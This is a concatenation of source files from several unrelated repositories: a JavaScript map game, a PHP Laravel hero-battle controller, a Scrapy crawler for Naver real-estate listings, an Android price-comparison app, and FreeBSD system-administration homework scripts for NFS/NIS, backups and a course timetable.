var appActions = require('../../actions/AppActions');
var dispatcher = require('../../utils/dispatcher');
describe('Actions', function () {
describe('app', function () {
it('updateGeoObject trigger updateGeobjects', function (done) {
var data = { test: 1 };
dispatcher.on('updateGeobjects', function (actual) {
expect(actual).to.eql(data);
done();
});
appActions.updateGeoObject(data);
});
it('play trigger play', function (done) {
dispatcher.on('play', function (actual) {
expect(actual).to.be.undefined;
done();
});
appActions.play();
});
it('answer trigger addPoints', function (done) {
var data = 1;
dispatcher.on('addPoints', function (actual) {
expect(actual).to.eql(data);
done();
});
appActions.answer(data);
});
it('useHint trigger hint', function (done) {
var data = 1;
dispatcher.on('hint', function (actual) {
expect(actual).to.eql(data);
done();
});
appActions.useHint(data);
});
it('endGame trigger endGame', function (done) {
dispatcher.on('endGame', function (actual) {
expect(actual).to.be.undefined;
done();
});
appActions.endGame();
});
it('showResult trigger showResult', function (done) {
var data = { test: 1 };
dispatcher.on('showResult', function (actual) {
expect(actual).to.eql(data);
done();
});
appActions.showResult(data);
});
it('updatePoints trigger updatePoints', function (done) {
var data = 1;
dispatcher.on('updatePoints', function (actual) {
expect(actual).to.eql(data);
done();
});
appActions.updatePoints(data);
});
it('timeout trigger timeout', function (done) {
dispatcher.on('timeout', function (actual) {
expect(actual).to.be.undefined;
done();
});
appActions.timeout();
});
});
});
<file_sep>/** @jsx React.DOM */
var React = require('react');
var b = require('b_').with('result');
var data = require('../../data/geoObjects');
var config = require('config');
/**
* Счетчик отчков
*
* @type {*|Function}
*/
var Result = React.createClass({
getDefaultProps: function () {
return {
points: 0
};
},
propTypes: {
points: React.PropTypes.number
},
render: function () {
return (
<div className={b()}>
Ваш результат: {this.props.points} из {data.length * config.point}
</div>
);
}
});
module.exports = Result;
<file_sep>/** @jsx React.DOM */
var React = require('react');
var b = require('b_');
var _ = require('underscore');
var Button = React.createClass({
propTypes: {
content: React.PropTypes.string,
href: React.PropTypes.string,
onClick: React.PropTypes.func,
disabled: React.PropTypes.bool
},
render: function () {
var mods = _.omit(this.props, ['onClick', 'href', 'content']);
if (this.props.href) {
return this.renderAnchor(mods);
} else {
return this.renderButton(mods);
}
},
renderAnchor: function (mods) {
var props = {
href: this.props.href,
className: b('button', mods),
role: 'button',
onClick: this.handleClick
};
return <a {...props}>{this.props.content}</a>;
},
renderButton: function (mods) {
var props = {
className: b('button', mods),
type: 'button',
onClick: this.handleClick
};
return <button {...props}>{this.props.content}</button>;
},
handleClick: function (e) {
if (this.props.disabled) {
e.preventDefault();
return;
}
if (this.props.onClick) {
this.props.onClick(e);
}
}
});
module.exports = Button;
| e33e5532ce15935dbc8c656b877eb999a6cf3ad1 | [
"JavaScript",
"Markdown"
] | 12 | JavaScript | GennadySpb/mapsGame | e8f180ea2e1f87caf6285ada7e9b80b0b8919af0 | 38204b39dcea9ee4f52dc1e6603572baee96cb66 |
refs/heads/main | <file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Hero;
//use App\Item;
use App\Enemy;
class BSController extends Controller
{
public function index(){
return view('admin.bs.index', $this->runAutoBattle(5,2));
}
public static function runAutoBattle($heroId, $enemyId){
$hero = Hero::find($heroId)->first();
$enemy = Enemy::find($enemyId)->first();
$events = [];
while ($hero->hp > 0 && $enemy->hp > 0){
$luck = random_int(0, 100);
if($luck >= $hero->luck){
$hp = $enemy->def - $hero->atq;
if ($hp < 0) {
$enemy->hp -= $hp * -1;
}
if ($enemy->hp > 0) {
$ev = [
"winner" => "hero",
"text" => $hero->name." hizo un daño de ".$hero->atq." a ".$enemy->name
];
}else{
$ev = [
"winner" => "hero",
"text" => $hero->name." acabo con la vida de ".$enemy->name. " y gano ".$enemy->xp." de experiencia"
];
$hero->xp += $enemy->xp;
if($hero->xp >= $hero->level->xp){
$hero->xp = 0;
$hero->level_id += 1;
}
$hero->save();
}
}else{
$hp = $hero->def - $enemy->atq;
if ($hp < 0) {
$hero->hp -= $hp *-1;
}
if ($hero->hp >0) {
$ev = [
"winner" => "enemy",
"text" => $hero->name." recibio un daño de ".$enemy->atq." de ".$enemy->name
];
}else{
$ev = [
"winner" => "enemy",
"text" => $hero->name." fue asesinado por ".$enemy->name
];
}
}
array_push($events, $ev);
}
return [
'events' => $events,
'heroName' => $hero->name,
'enemyName' => $enemy->name,
'heroAvatar' => $hero->img_path,
'enemyAvatar' => $enemy->img_path
];
}
public function runManualBattle($heroId, $enemyId){
$hero = Hero::find($heroId)->first();
$enemy = Enemy::find($enemyId)->first();
$luck = random_int(0, 100);
if($luck >= $hero->luck){
$hp = $enemy->def - $hero->atq;
if ($hp < 0) {
$enemy->hp -= $hp * -1;
}
if ($enemy->hp > 0) {
return [
"winner" => "hero",
"text" => $hero->name." hizo un daño de ".$hero->atq." a ".$enemy->name
];
}else{
return [
"winner" => "hero",
"text" => $hero->name." acabo con la vida de ".$enemy->name. " y gano ".$enemy->xp." de experiencia"
];
$hero->xp += $enemy->xp;
if($hero->xp >= $hero->level->xp){
$hero->xp = 0;
$hero->level_id += 1;
}
$hero->save();
}
}else{
$hp = $hero->def - $enemy->atq;
if ($hp < 0) {
$hero->hp -= $hp *-1;
}
if ($hero->hp >0) {
return [
"winner" => "enemy",
"text" => $hero->name." recibio un daño de ".$enemy->atq." de ".$enemy->name
];
}else{
return [
"winner" => "enemy",
"text" => $hero->name." fue asesinado por ".$enemy->name
];
}
}
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Hero;
use App\Item;
use App\Enemy;
class AdminController extends Controller
{
public function index(){
$heroCounter = Hero::count();
$itemCounter = Item::count();
$enemyCounter = Enemy::count();
$report = [
['name' => "Heroes", 'counter' => $heroCounter, 'route' => 'heroes.index' , 'class' => 'btn-primary'],
['name' => "Items", 'counter' => $itemCounter, 'route' => 'item.index', 'class' => 'btn-success'],
['name' => "Enemies", 'counter' => $enemyCounter, 'route' => 'enemy.index', 'class' => 'btn-danger']
];
return view('admin.index', ['report' => $report]);
}
}
| 1f2f608b44628af73af0f2bdea8cab0d5588891b | [
"PHP"
] | 2 | PHP | RodrigoRozasV/hero | 2482335f0345ea2011c0957a9f509d660706e76c | 2adf357a9dd90325b6feddd27e82d0079632bd9b |
refs/heads/master | <repo_name>munifico/lansbot<file_sep>/README.md
# scrapy land site
scrapy ( 네이버 부동산 크롤링 + ELK tutorial )
## 데이터 흐름

## 설치하기
### install virtualenv
virtualenv 환경에 설치하는 것을 권장한다.
```
$sudo pip install virtualenv
```
### activate script
virtual env를 생성하고 활성화한다.
```
$virtualenv ENV
$source ./ENV/bin/activate
```
### install scrapy
[scrapy 패키지](https://github.com/scrapy/scrapy)
$pip install Scrapy
### install elasticSearch
[elasticSearch 패키지](https://github.com/knockrentals/scrapy-elasticsearch)
$pip3 install ScrapyElasticSearch
### install Scrapy-UserAgents
[user-agent 설정 패키지](https://github.com/grammy-jiang/scrapy-useragents)
$pip install scrapy-useragents
### configurate setting.py
settings.py에 # Elastic Search 부분을 설정한다.
```
# -----------------------------------------------------------------------------
# Elastic Search
# -----------------------------------------------------------------------------
ITEM_PIPELINES = {
'scrapyelasticsearch.scrapyelasticsearch.ElasticSearchPipeline': 500
}
ELASTICSEARCH_SERVERS = ['localhost:9200']
ELASTICSEARCH_INDEX = 'scrapy'
ELASTICSEARCH_TYPE = 'items'
```
## 실행하기
```
#scrapy crawl land
```<file_sep>/landsbot/spiders/lands_spider.py
import scrapy
import datetime
from landsbot.items import LandsbotItem
class LandsSpider(scrapy.Spider):
name = 'land'
land_url = 'https://land.naver.com/article/articleList.nhn?page=1'
rlet_type_cd = '&rletTypeCd=A01'
cortar_no = '&cortarNo=1168011500'
start_urls = [
land_url + cortar_no + rlet_type_cd
]
def parse(self, response):
#call page number
lst = response.url.split('&')
matched = [x for x in lst if 'page=' in x]
if len(matched) > 0:
call_page = int(matched[0].split('=')[1])
else:
call_page = 1
#current page number
current_page = response.xpath('//div[contains(@class, "paginate")]/strong/text()').extract_first()
if current_page:
current_page = int(current_page)
if call_page <= current_page:
next_page = current_page + 1
trlist = response.xpath('//tbody//tr')
rent_fee = 0
max_floor = ''
exclusive_area = ''
for tr in trlist:
if tr.xpath('.//td[contains(@class, "sale_type bottom")]/div/text()').extract_first() is None:
pass
else:
item = LandsbotItem()
item['ts'] = datetime.datetime.now().isoformat()
sale_type = tr.xpath('.//td[contains(@class, "sale_type bottom")]/div/text()').extract_first()
item['sale_type'] = tr.xpath('.//td[contains(@class, "sale_type bottom")]/div/text()').extract_first()
item['building_type'] = tr.xpath('.//td[contains(@class, "sale_type2 bottomline")]/div/text()').extract_first()
item['building_name'] = tr.xpath('.//td[contains(@class, "align_l name")]/div/a/text()').extract_first()
#area
area = tr.xpath('.//td[contains(@class, "num")]/div/text()').extract_first()
if area:
area = area.strip()
item['area'] = area
a_split = area.split('/')
item['supply_area'] = a_split[0]
if len(area) > 1:
item['exclusive_area'] = a_split[1]
#floor
floor = tr.xpath('.//td[contains(@class, "num2")]/div/span/text()').extract_first()
if floor:
floor = floor.strip()
item['floor'] = floor
f_split = floor.split('/')
item['sale_floor'] = f_split[0]
if len(f_split) > 1:
item['max_floor'] = f_split[1]
#rent fee
sale_price = tr.xpath('.//td[contains(@class, "num align_r")]/div/strong/text()').extract_first()
if sale_price:
sale_price = sale_price.strip()
item['sale_price'] = sale_price
p_split = sale_price.split('/')
item['deposit'] = int(p_split[0].replace(',', ''))
if len(p_split) > 1:
item['rent_fee'] = int(p_split[1].replace(',', ''))
yield item
#next page url
next_page_url = response.url.replace('page=' + str(current_page), 'page=' + str(next_page))
yield response.follow(next_page_url, self.parse)
<file_sep>/landsbot/items.py
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
from scrapy.item import Item, Field
class LandsbotItem(Item):
# define the fields for your item here like:
# name = scrapy.Field()
ts = Field()
sale_type = Field()
building_type = Field()
building_name = Field()
area = Field()
supply_area = Field()
exclusive_area = Field()
floor = Field()
sale_floor = Field()
max_floor = Field()
sale_price = Field()
deposit = Field()
rent_fee = Field()
| 09e544748f51e4208023a067133f8794c09eac18 | [
"Markdown",
"Python"
] | 3 | Markdown | munifico/lansbot | e3eeded93553761d2cc4069fd927e24635241c26 | 04a64e6f87de622856de129747f933a0c30e4057 |
refs/heads/master | <repo_name>Rcureton/Pay-HPE-Hackathon<file_sep>/app/src/main/java/com/adi/ho/jackie/pricecomparisonapp/WalmartAPI/WalmartItems.java
package com.adi.ho.jackie.pricecomparisonapp.WalmartAPI;
/**
* Created by Ra on 3/12/16.
*/
public class WalmartItems {
private String name;
private double salePrice;
public WalmartItems() {
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public double getSalePrice() {
return salePrice;
}
public void setSalePrice(double salePrice) {
this.salePrice = salePrice;
}
}
<file_sep>/app/src/main/java/com/adi/ho/jackie/pricecomparisonapp/ReviewRecyclerViewAdapter.java
package com.adi.ho.jackie.pricecomparisonapp;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import java.util.ArrayList;
/**
* Created by Todo on 3/13/2016.
*/
public class ReviewRecyclerViewAdapter extends RecyclerView.Adapter<ReviewRecyclerViewAdapter.ViewHolder> {
ArrayList<String> mListOfReviews;
public ReviewRecyclerViewAdapter(ArrayList<String> array) {
mListOfReviews = array;
}
public class ViewHolder extends RecyclerView.ViewHolder {
public TextView vCard;
public ViewHolder(View itemView) {
super(itemView);
vCard = (TextView)itemView.findViewById(R.id.reviewText);
}
}
@Override
public ReviewRecyclerViewAdapter.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
LayoutInflater inflater = LayoutInflater.from(parent.getContext());
View v = inflater.inflate(R.layout.reviewcard, parent, false);
return new ViewHolder(v);
}
@Override
public void onBindViewHolder(ReviewRecyclerViewAdapter.ViewHolder holder, int position) {
holder.vCard.setText(mListOfReviews.get(position));
}
@Override
public int getItemCount() {
return mListOfReviews.size();
}
}
<file_sep>/README.md
# Pay-HPE-Hackathon
##Overview:
Pay was an app created at the HPE Haven on Demand Hackathon which allows users to immediately search and compare product prices, as well as quality via user-generated reviews, and subsequently identify the nearest location to purchase the item.
###Screenshots:
  
###Key Technologies Leveraged:
- HPE Barcode Recognition
- HPE Sentiment Analysis
- HPE Text Autocomplete
- Walmart Product Retrieval API
- Walmart Customer Review API
- Ebay Product Retrieval API
- Google Places API
###Contributors
- <NAME>
- <NAME>
- <NAME>won
<file_sep>/app/src/main/java/com/adi/ho/jackie/pricecomparisonapp/GooglePlaces.java
package com.adi.ho.jackie.pricecomparisonapp;
import android.content.Intent;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Toast;
import com.google.android.gms.common.GooglePlayServicesNotAvailableException;
import com.google.android.gms.common.GooglePlayServicesRepairableException;
import com.google.android.gms.common.api.Status;
import com.google.android.gms.location.places.Place;
import com.google.android.gms.location.places.ui.PlaceAutocompleteFragment;
import com.google.android.gms.location.places.ui.PlacePicker;
import com.google.android.gms.location.places.ui.PlaceSelectionListener;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.LatLngBounds;
public class GooglePlaces extends AppCompatActivity {
int PLACE_PICKER_REQUEST = 1;
private String TAG= " ";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_google_places);
PlaceAutocompleteFragment autocompleteFragment = (PlaceAutocompleteFragment)
getFragmentManager().findFragmentById(R.id.place_autocomplete_fragment);
autocompleteFragment.setOnPlaceSelectedListener(new PlaceSelectionListener() {
@Override
public void onPlaceSelected(Place place) {
// TODO: Get info about the selected place.
Log.i(TAG, "Place: " + place.getName());
}
@Override
public void onError(Status status) {
// TODO: Handle the error.
Log.i(TAG, "An error occurred: " + status);
}
});
PlacePicker.IntentBuilder builder = new PlacePicker.IntentBuilder();
try {
startActivityForResult(builder.build(this), PLACE_PICKER_REQUEST);
} catch (GooglePlayServicesRepairableException e) {
e.printStackTrace();
} catch (GooglePlayServicesNotAvailableException e) {
e.printStackTrace();
}
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == PLACE_PICKER_REQUEST) {
if (resultCode == RESULT_OK) {
Place place = PlacePicker.getPlace(data, this);
String uriString= getUriString(place);
Uri googleMaps= Uri.parse(uriString);
Intent mapIntent= new Intent(Intent.ACTION_VIEW,googleMaps);
mapIntent.setPackage("com.google.android.apps.maps");
if(mapIntent.resolveActivity(getPackageManager()) !=null){
startActivity(mapIntent);
}else{
Toast.makeText(GooglePlaces.this, "No Maps Installed", Toast.LENGTH_SHORT).show();
}
}
}
}
private String getUriString(Place place) {
LatLng latLong= place.getLatLng();
String lat= String.valueOf(latLong.latitude);
String lon= String.valueOf(latLong.longitude);
String address =place.getAddress().toString();
String name= place.getName().toString();
String encodedAddress= Uri.encode(name+", "+address);
String uriString= "geo:"+lat+","+lon+"?q="+encodedAddress;
return uriString;
}
}
| 661b4dd9d4ab768cefe77f1b8037874f5eac9968 | [
"Markdown",
"Java"
] | 4 | Java | Rcureton/Pay-HPE-Hackathon | b64d001cf7df0bb2a28d50d3e0ca416b3181e922 | 2d592aeef4beac0b6011fff74a3923913dc05efb |
refs/heads/master | <repo_name>lincw6666/System_Administration<file_sep>/HW05/README.md
SA Homework 05
===
---
## NFS Service
----
### NFS Server
- Edit `/etc/rc.conf`.
```shell=
rpcbind_enable="YES"
nfs_server_enable="YES"
nfs_server_flags="-u -t -n 4"
nfsv4_server_enable="YES"
mountd_enable="YES"
mountd_flags="-r"
nfsuserd_enable="YES"
nfsuserd_flags="-domain SA-HW -manage-gids"
```
----
### NFS Client
- Edit `/etc/rc.conf`.
```shell=
nfs_client_enable="YES"
autofs_enablve="YES"
nfsuserd_enablve="YES"
nfsuserd_flags="-domain SA-HW"
```
---
## NIS Service
----
### NIS Master
- Edit `/etc/rc.conf`.
```shell=
nisdomainnmae="SA-HW"
nis_server_enable="YES"
nis_yppasswdd_enable="YES"
nis_yppasswdd_flags="-t /var/yp/src/master.passwd"
```
----
### NIS Slave
- Edit `/etc/rc.conf`.
```shell=
nisdomainname="SA-HW"
nis_server_enable="YES"
```
----
### NIS Client
- Edit `/etc/rc.conf`.
```shell=
nis_client_enable="YES"
nis_client_flags="-s -m -S SA-HW,storage,account"
```
- `-S` follow by nis_domain_name,server1,server2... Up to 10 servers can be specified. The last server specified gains the highest privilege. In this case, account has higher privilege than storage.
---
## Bonus 1
share autofs.map by nis
----
### /var/yp/Makefile
Only NIS master needs it.
- Add the path to your autofs map.
```makefile=131
AUTOMAP = $(YPSRCDIR)/auto_share
```
- Add whatever you want to map into `TARGETS`.
```makefile=205
.if exists($(AUTOMAP))
TARGETS+= automap
.else
AUTOMAP= /dev/null
.endif
```
```makefile=230
automap: auto_behind auto_front
```
- Remark: You can add automap to `TARGETS` directly. But if autofs map does not exist, it will cry something failed blablabla... However, it still works. It will not crash. I just don't like these fucking warnings.
- Copy `amd.map` (at the end of the file).
- Modify amd.map to **auto_behind** or **auto_front**.
- Replace `AMDHOST` with `AUTOMAP`.
- Differences.
```make=
129,131c129
<
< # SA bonus1
< AUTOMAP = $(YPSRCDIR)/auto_share
---
> #AMDHOST = $(YPSRCDIR)/autofs.map
205,210d202
< .if exists($(AUTOMAP))
< TARGETS+= automap
< .else
< AUTOMAP= /dev/null
< .endif
<
230d221
< automap: auto_behind auto_front
241,279d231
<
< auto_behind: $(AUTOMAP)
< @echo "Updating $@..."
< @$(AWK) '$$1 !~ "^#.*" { \
< for (i = 1; i <= NF; i++) \
< if (i == NF) { \
< if (substr($$i, length($$i), 1) == "\\") \
< printf("%s", substr($$i, 1, length($$i) - 1)); \
< else \
< printf("%s\n", $$i); \
< } \
< else \
< printf("%s ", $$i); \
< }' $(AUTOMAP) | \
< $(DBLOAD) -i $(AUTOMAP) -o $(YPMAPDIR)/$@ - $(TMP); \
< $(RMV) $(TMP) $@
< @$(DBLOAD) -c
< @if [ ! $(NOPUSH) ]; then $(YPPUSH) -d $(DOMAIN) $@; fi
< @if [ ! $(NOPUSH) ]; then echo "Pushed $@ map." ; fi
<
< auto_front: $(AUTOMAP)
< @echo "Updating $@..."
< @$(AWK) '$$1 !~ "^#.*" { \
< for (i = 1; i <= NF; i++) \
< if (i == NF) { \
< if (substr($$i, length($$i), 1) == "\\") \
< printf("%s", substr($$i, 1, length($$i) - 1)); \
< else \
< printf("%s\n", $$i); \
< } \
< else \
< printf("%s ", $$i); \
< }' $(AUTOMAP) | \
< $(DBLOAD) -i $(AUTOMAP) -o $(YPMAPDIR)/$@ - $(TMP); \
< $(RMV) $(TMP) $@
< @$(DBLOAD) -c
< @if [ ! $(NOPUSH) ]; then $(YPPUSH) -d $(DOMAIN) $@; fi
< @if [ ! $(NOPUSH) ]; then echo "Pushed $@ map." ; fi
<
```
----
### auto_master
- Link `/etc/autofs/include` to `/etc/autofs/include_nis`.
```sh=
sudo ln -s /etc/autofs/include_nis /etc/autofs/include
```
---
## Bonus 2
Create accounts on NIS with random password.
----
### autocreate
I am lazy zzz. Trace the code and you will understand haha.
- How to use
```sh=
sudo ./autocreate <group> <account-list>
```
- It works under any directory.
- It will update NIS map automatically.
<file_sep>/HW03/rc_script/zbackupd
#!/bin/sh
# PROVIDE: zbackupd
# KEYWORD: <PASSWORD>
. /etc/rc.subr
name=zbackupd
rcvar=zbackupd_enable
load_rc_config $name
command=/usr/local/bin/zbackupd
command_interpreter=/bin/sh
zbackupd_enable=${zbackupd_enable:-"no"}
zbackupd_config=${zbackupd_config:-"/usr/local/etc/zbackupd.yaml"}
required_files="${zbackupd_config}"
pidfile_zbackupd=${pidfile_zbackupd:-"/var/run/zbackup.pid"}
pidfile="${pidfile_zbackupd}"
logfile_zbackupd=${logfile_zbackupd:-"/var/log/zbackup.log"}
command_args="-d -p ${pidfile} -c ${zbackupd_config} >> ${logfile_zbackupd} 2>&1"
extra_commands="reload list"
reload_cmd="Func_Reload"
list_cmd="Func_List"
stop_cmd="Func_Stop"
Func_Reload() {
local pid pgid
pid=`cat ${pidfile_zbackupd} | head -1 | sed "1,$ s/[^0-9]*//g"`
pgid=`ps -o pid,pgid -axww | awk '{print $1" "$2}' | grep "^${pid} " | head -1 | awk '{print $2}'`
ps -o pid,pgid -axww | awk '{print $1" "$2}' | grep " ${pgid}$" | awk '{print $1}' | xargs kill -SIGUSR1
}
Func_List() {
/usr/local/bin/zbackup --list
}
Func_Stop() {
local pid
pid=$(check_pidfile ${pidfile} ${command} ${command_interpreter})
if [ -z "${pid}" ] ; then
Error "zbackupd was not running!!"
fi
echo "Stop zbackup."
ps -o pid,pgid -axww | grep ${pid} | head -1 | \
awk '{print "-"$2}' | xargs kill -SIGTERM
echo "Waiting pid: ${pid}."
wait ${pid}
}
Error() {
echo "Error!!" $1
exit 0
}
run_rc_command "$1"
<file_sep>/HW05/autocreate
#!/bin/sh
# $1 = new user's group
# $2 = new user's list (username, fullname)
Error() {
echo "Error:" "$1"
exit 0
}
# We need exactly 2 arguements. Otherwise, exit.
if [ "`echo $#`" -lt 2 ] ; then
Error "Too few arguements!"
elif [ "`echo $#`" -gt 2 ] ; then
Error "Too many arguements!"
fi
# Check group. Create new group if it does not exist.
if ! cut -d : -f 1 /etc/group | grep -q "^$1$" ; then
if ! ypcat group | cut -d : -f 1 | grep -q "^$1$" ; then
pw -V /var/yp/src groupadd "$1"
fi
fi
# Add users.
if ! [ -e "$2" ] ; then
Error "Account list file not found!"
fi
for user in `sed '/^$/d' "$2" | tr ' ' '\`'` ;do
user="`echo ${user} | tr '\`' ' '`"
username="`echo ${user} | tr -d ' ' | cut -d , -f 1`"
fullname="`echo ${user} | cut -d , -f 2`"
homedir="/net/home/${username}"
# Make home directory.
mkdir -p "${homedir}"
chmod 777 "${homedir}"
# Create user.
pw -V /var/yp/src useradd -n "${username}" \
-c "${fullname}" -d "${homedir}" \
-g "$1" -k "${homedir}" \
-w random -s tcsh
done
# Update NIS maps.
now_dir="`pwd`"
cd /var/yp
make
cd "${now_dir}"
<file_sep>/HW02/sahw2-2.sh
#!/bin/sh
Online_file="timetable.json"
# Width and height of blank that fill in the course name.
B_width="16"
B_height="6"
User_config="usr_config"
Class="usr_class"
Base_Schedule="base_schedule"
Schedule="usr_schedule"
##################################################
#
# Get timetable if it does not exist.
#
##################################################
if ! [ -e "$Online_file" ] ; then
curl 'https://timetable.nctu.edu.tw/?r=main/get_cos_list' --data 'm_acy=107&m_sem=1&m_degree=3&m_dep_id=17&m_group=**&m_grade=**&m_class=**&m_option=**&m_crs_name=**&m_teaname=**&m_cos_id=**&m_cos_code=**&m_crstime=**&m_crsoutline=**&m_costype=*' > $Online_file
fi
##################################################
##################################################
#
# Parse timetable from json to "time_course"
#
##################################################
if ! [ -e "$Class" ] ; then
sed -E -e '1,$s/},/\
#\
/g' -e '1,$s/","/"\
"/g' $Online_file | grep -E "cos_ename|cos_time|#" | tr -d '\n' > $Class
sed -E -e '1,$s/"/:/g' -e '1,$s/#/\
/g' $Class | grep 'cos' | tr -s ':' > tmp && mv tmp $Class
awk -F ':' '{print $3" - "$5}' $Class > tmp && mv tmp $Class
sed -i '' -e '1,$s/"//g' $Class
awk '{print NR" \""$0"\" off"}' $Class > tmp && mv tmp $Class
sed -i '' -e '1i\
--extra-button --extra-label "No collision" --help-button --help-label "Find course" --buildlist "Add Class" 50 100 35' $Class
fi
##################################################
##################################################
#
# Build class schedule
#
##################################################
if ! [ -e "$Base_Schedule" ] ; then
# Build x-label: Monday ~ Sunday
echo -n 'x ' > $Base_Schedule
for i in '.Mon' '.Tue' '.Wed' '.Thu' '.Fri' '.Sat' '.Sun' ; do
echo -n $i >> $Base_Schedule ;
seq -s ' ' $(( $B_width - 4 )) | tr -d "[:digit:]" >> $Base_Schedule
done
echo >> $Base_Schedule
# Build blanks that fill in course name.
for time in 'M' 'N' 'A' 'B' 'C' 'D' 'X' 'E' 'F' 'G' 'H' 'Y' 'I' 'J' 'K' 'L' ; do
tmp="|x."
echo -n "$time " >> $Base_Schedule
for i in `seq -s ' ' 7` ; do
echo -n "$tmp" >> $Base_Schedule
seq -s ' ' $(( $B_width - ${#tmp} )) | tr -d "[:digit:]" >> $Base_Schedule
done
echo >> $Base_Schedule
tmp="|."
for lines in `seq -s ' ' $(( $B_height - 2 ))` ; do
echo -n ". " >> $Base_Schedule
for i in `seq -s ' ' 7` ; do
echo -n "$tmp" >> $Base_Schedule
seq -s ' ' $(( $B_width - ${#tmp} )) | tr -d "[:digit:]" >> $Base_Schedule
done
echo >> $Base_Schedule
done
echo -n "= " >> $Base_Schedule
for i in `seq -s ' ' 7` ; do
seq -s= $(( $B_width - 2 )) | tr -d "[:digit:]" >> $Base_Schedule
echo -n " " >> $Base_Schedule
done
echo >> $Base_Schedule
done
fi
##################################################
##################################################
#
# Build option dialog.
#
##################################################
if ! [ -e "$User_config" ] ; then
echo '--checklist "Options" 25 50 20' > $User_config
echo '1 "Show course name" on' >> $User_config
echo '2 "Show classroom" off' >> $User_config
echo '3 "Show Saturday and Sunday" off' >> $User_config
echo '4 "Show NMXY" off' >> $User_config
fi
##################################################
############################################################################
# #
# Main process start #
# #
############################################################################
Add_class="0"
Options="3"
Exit="2"
GetCourse() {
local retval
retval=`cat $Class | grep -E "^$1 " | awk -F '"' '{print $2}'`
echo $retval
}
GetTime() {
local get_course retval
get_course=`GetCourse $1`
retval=`echo $get_course | awk -F '- ' '{print $1}' | sed -E "1,$ s/-[^, ]*[, ]//g"`
echo $retval
}
GetName() {
local get_course retval
get_course=`GetCourse $1`
retval=`echo $get_course | awk -F ' - ' '{print $2}' | sed -E -e "1,$ s/ /./g" -e "1,$ s/$/./g" | tr -s "."`
echo $retval
}
GetClassRoom() {
local get_course retval
get_course=`GetCourse $1`
retval=`echo $get_course | awk -F ' - ' '{print $1}' | sed -E "1,$ s/[0-9][^,]*-//g" \
| tr ',' ' ' | xargs -n1 | sort -u | xargs | tr ' ' ',' | sed -E "1,$ s/$/./g"`
echo $retval
}
##################################################
#
# Functions deal with class collision.
#
##################################################
BuildChooseClass() {
local time
> $2
for i in $1 ; do
time=`GetTime $i`
echo "$time-`GetName $i | tr '.' ' '`" >> $2
done
} # End BuildChooseClass
BuildCollisionClass() {
local day
> $1
for i in `cat bang` ; do
case $i in
[0-7])
day=$i
;;
*)
for j in M N A B C D X E F G H Y I J K L ; do
# Collision happened.
if [ "`cat bang | grep $day | grep $j`" = "" ] ; then
echo "Collision: $day$j" >> $1
cat $2 | grep -E "$day[MNABCDXEFGHYIJKL]*$j" | awk -F '-' '{print $2}' >> $1
echo "" >> $1
fi
done
;;
esac
done
} # End VuildCollisionClass
IsCollision() {
local time now_line Choose_class Collision_class select
# Create base time table. Cancel out the time which has class.
> table
for i in `seq 7` ; do
echo $i"MNABCDXEFGHYIJKL" >> table
done
# Check collision
> bang
for i in `seq 7` ; do
echo $i "MNABCDXEFGHYIJKL" >> bang
done
for i in $1 ; do
time=`GetTime $i | sed -e '1,$ s/\(.\)/\1 /g'`
for j in $time ; do
case $j in
[1-7])
now_line=$j
;;
*)
# Collision happened.
if [ "`cat table | grep -E "^$now_line" | grep $j`" = "" ] ; then
sed -i '' -e "${now_line} s/$j//g" bang
# No collision.
else
sed -i '' -e "${now_line} s/$j/ /g" table
if [ "`cat table | grep -E "^${now_line}" | grep -E " $i$| $i "`" = "" ] ; then
sed -i '' -e "${now_line} s/$/ $i/g" table
fi
fi
;;
esac
done
done
# Output collision message
Choose_class="tmp_class"
Collision_class="collision_class"
BuildChooseClass "$1" $Choose_class
BuildCollisionClass $Collision_class $Choose_class
rm -f table bang $Choose_class
if [ "`cat $Collision_class`" != "" ] ; then
dialog --clear --msgbox "************ Collision!! ************
`cat $Collision_class`" 20 100
rm -f $Collision_class
return 1
else
rm -f $Collision_class
return 0
fi
} # End IsCollision
##################################################
GetOption() {
local retval
retval=""
for i in `seq 4` ; do
if [ "`cat $User_config | grep -E "^$i " | grep -E " on$"`" != "" ] ; then
retval=$(($retval$i))
fi
done
echo $retval
} # End GetOption
CourseOutputFormat() {
local retval
if [ "`echo $option | grep "1"`" != "" ] && [ "`echo $option | grep "2"`" != "" ] ; then
retval=`GetName $1 && GetClassRoom $1`
elif [ "`echo $option | grep "1"`" != "" ] ; then
retval=`GetName $1`
else
retval=`GetClassRoom $1`
fi
echo $retval
}
FillClass() {
local base_str now now_line sub_name str_len
base_str="`seq -s ' ' $(($B_width-1)) | tr -d "[:digit:]"`"
now="1"
now_line=`cat $Schedule | grep -nr "^$3" | cut -d ":" -f 1`
while [ $now -le ${#1} ] ; do
sub_name=`echo $1 | cut -c $now-$(($now+$B_width-4)) | sed -e 's/\\\/\\\\\\\/g'`
str_len=`echo ' ' | sed "s/ /$sub_name/"`
str_len=${#str_len}
sub_name=`echo "$base_str" | sed -E -e "s/^.{$str_len}/$sub_name/" -e 's/\\\/\\\\\\\/g'`
awk -v row=$now_line -v col=$(($2+1)) -v sub_str="$sub_name" -F '|' 'BEGIN {OFS="|"} { if( row == NR ) $col=sub_str}1' $Schedule > tmp
mv tmp $Schedule
now=$(($now+$B_width-3))
now_line=$(($now_line+1))
done
} # End FillClass
ShowNoCollision() {
local time now_line
cp $Class tmp_output
for i in $1 ; do
time=`GetTime $i | sed -e '1,$ s/\(.\)/\1 /g'`
for j in $time ; do
case $j in
[1-7])
now_line=$j
;;
*)
cat tmp_output | grep -E -v "$now_line[MNABCDXEFGHYIJKL]*$j" > tmp
mv tmp tmp_output
;;
esac
done
done
awk -F '"' '{print $2}' tmp_output | sed "1d" > tmp
mv tmp tmp_output
